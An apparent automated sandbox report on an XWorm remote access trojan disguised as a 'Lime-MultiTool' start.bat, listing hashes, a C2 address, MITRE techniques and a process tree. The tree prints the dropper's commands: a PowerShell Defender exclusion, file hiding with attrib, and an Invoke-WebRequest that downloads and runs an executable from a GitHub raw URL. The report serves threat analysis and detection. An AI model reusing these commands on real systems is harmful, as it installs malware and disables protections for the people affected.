xworm | d595ab589662812007b211536b921b25367411546fbda83d33fa7ef29e9e7d6c

General

Target

Lime-MultiTool-main/start.bat
Size

30KB
MD5

288f9aa2144276b6994dbf5a69a8da59
SHA1

b860a86ca3c2b0bcd752c05a15d5bd745dfc506a
SHA256

dd9995205fe2cc6e42086f40327f1aa9a725d2912c7ce2d4cf0839d24baeafb4
SHA512

1b47bd833f192d7d7d014872f5cd8be54168a609cc50200dd9c2f290fae2185b8ef54e1fa47d3ca51fe158b294130c74913789781fedc5e1ab60b9a46e09d15f
SSDEEP

48:92ros7BK7cp3zI8FpIJp/4eai2gF9H2YHwvfol2+:92O4dI8ihXf

Score

10^/10

xworm execution persistence rat trojan

Malware Config

Extracted

Family

xworm

C2

45.83.246.140:30120

Attributes

Install_directory
%AppData%
install_file
runtime.exe

Signatures

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral3/files/0x000a000000023c72-53.dat	family_xworm
behavioral3/memory/4104-61-0x00000000003A0000-0x00000000003B8000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
Xworm family
xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
8	4404	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
4404	powershell.exe
1508	powershell.exe
1620	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation	upx.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runtime.lnk	pack.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runtime.lnk	pack.exe

Executes dropped EXE 2 IoCs

pid	Process
4852	upx.exe
4104	pack.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\runtime = "C:\\Users\\Admin\\AppData\\Roaming\\runtime.exe"	pack.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
7	raw.githubusercontent.com
8	raw.githubusercontent.com
18	raw.githubusercontent.com

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 2 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	OpenWith.exe
Key created	\REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4104	pack.exe

Suspicious behavior: EnumeratesProcesses 8 IoCs

pid	Process
1508	powershell.exe
1508	powershell.exe
1620	powershell.exe
1620	powershell.exe
4404	powershell.exe
4404	powershell.exe
4852	upx.exe
4104	pack.exe

Suspicious behavior: GetForegroundWindowSpam 2 IoCs

pid	Process
784	OpenWith.exe
4104	pack.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1508	powershell.exe
Token: SeDebugPrivilege	1620	powershell.exe
Token: SeDebugPrivilege	4404	powershell.exe
Token: SeDebugPrivilege	4852	upx.exe
Token: SeDebugPrivilege	4104	pack.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
784	OpenWith.exe
4104	pack.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4624 wrote to memory of 4032	4624	cmd.exe	84
PID 4624 wrote to memory of 4032	4624	cmd.exe	84
PID 4624 wrote to memory of 1508	4624	cmd.exe	86
PID 4624 wrote to memory of 1508	4624	cmd.exe	86
PID 4624 wrote to memory of 4708	4624	cmd.exe	87
PID 4624 wrote to memory of 4708	4624	cmd.exe	87
PID 4624 wrote to memory of 1620	4624	cmd.exe	88
PID 4624 wrote to memory of 1620	4624	cmd.exe	88
PID 4624 wrote to memory of 4196	4624	cmd.exe	90
PID 4624 wrote to memory of 4196	4624	cmd.exe	90
PID 4624 wrote to memory of 4404	4624	cmd.exe	93
PID 4624 wrote to memory of 4404	4624	cmd.exe	93
PID 4624 wrote to memory of 4852	4624	cmd.exe	94
PID 4624 wrote to memory of 4852	4624	cmd.exe	94
PID 4624 wrote to memory of 2296	4624	cmd.exe	95
PID 4624 wrote to memory of 2296	4624	cmd.exe	95
PID 4852 wrote to memory of 4104	4852	upx.exe	106
PID 4852 wrote to memory of 4104	4852	upx.exe	106

Views/modifies file attributes 1 TTPs 2 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4196	attrib.exe
2296	attrib.exe

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\Lime-MultiTool-main\start.bat"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4624
- C:\Windows\system32\mode.com
  mode con: cols=100 lines=30
  2⤵
  PID:4032
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -window hidden -command ""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1508
- C:\Windows\system32\cacls.exe
  "C:\Windows\system32\cacls.exe" "C:\Windows\system32\config\system"
  2⤵
  PID:4708
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Add-MpPreference -ExclusionPath "C:\
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1620
- C:\Windows\system32\attrib.exe
  attrib +h "Anon" /s /d
  2⤵
  - Views/modifies file attributes
  PID:4196
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  Powershell -Command "Invoke-Webrequest 'https://raw.githubusercontent.com/sfd11/Nitro-Generator/refs/heads/main/src/utils/upx.exe' -OutFile upx.exe"
  2⤵
  - Blocklisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4404
- C:\Users\Admin\AppData\Local\Anon\upx.exe
  upx.exe
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4852
- - C:\Users\Admin\AppData\Local\Temp\pack.exe
    "C:\Users\Admin\AppData\Local\Temp\pack.exe"
    3⤵
    - Drops startup file
    - Executes dropped EXE
    - Adds Run key to start application
    - Suspicious behavior: AddClipboardFormatListener
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: GetForegroundWindowSpam
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    PID:4104
- C:\Windows\system32\attrib.exe
  attrib +h "C:\Users\Admin\AppData\Local\Anon\upx.exe" /s /d
  2⤵
  - Views/modifies file attributes
  PID:2296

C:\Windows\system32\OpenWith.exe
C:\Windows\system32\OpenWith.exe -Embedding
1⤵
- Modifies registry class
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of SetWindowsHookEx
PID:784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Hide Artifacts

1

T1564

Hidden Files and Directories

Modify Registry

Credential Access

Discovery

Query Registry

1

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Anon\upx.exe

Filesize
33KB

MD5
1583e6e87225b41e7d51f26c93486bf2

SHA1
af26d91d7824d77485c32d361740791239fc197d

SHA256
88ecbc963b0baf145353446e9797ab18140c0db8e919dadb0a4a65717899f3ec

SHA512
8630e00648452e1660a15ed4fbb8fe3000895b9f5cea0bd6e95f703811c755d2a6c0e19d29b17f44e0b509236d3ebc5265d3129e4289188abd8ba1eddc74643c

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
64B

MD5
d8b9a260789a22d72263ef3bb119108c

SHA1
376a9bd48726f422679f2cd65003442c0b6f6dd5

SHA256
d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

SHA512
550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
96ff1ee586a153b4e7ce8661cabc0442

SHA1
140d4ff1840cb40601489f3826954386af612136

SHA256
0673399a2f37c89d455e8658c4d30b9248bff1ea47ba40957588e2bc862976e8

SHA512
3404370d0edb4ead4874ce68525dc9bcbc6008003682646e331bf43a06a24a467ace7eff5be701a822d74c7e065d0f6a0ba0e3d6bc505d34d0189373dcacb569

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_rqbck4lr.4hc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\pack.exe

Filesize
69KB

MD5
a230d428e97911ce6959e1463d781257

SHA1
0946c13059bf98fd3aacefd0b2681a42b95292cd

SHA256
c8e088feb7de05c3852af588c1a440f61d06870a93b07a3c6b7e2c12c9d55b12

SHA512
089f7f6e979729ba037a19510be160d1c407c712fa01614815ce2427ff6c8fe7fa80a2cb673a36611dc37734aba63f7c87832c3848ac9ce011343c0e15b7aa68

Download Submit
memory/1508-5-0x000001CBE5D40000-0x000001CBE5D62000-memory.dmp

Filesize
136KB

Download
memory/4104-61-0x00000000003A0000-0x00000000003B8000-memory.dmp

Filesize
96KB

Download
memory/4852-39-0x0000000000A00000-0x0000000000A0E000-memory.dmp

Filesize
56KB

Download

Resubmissions

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads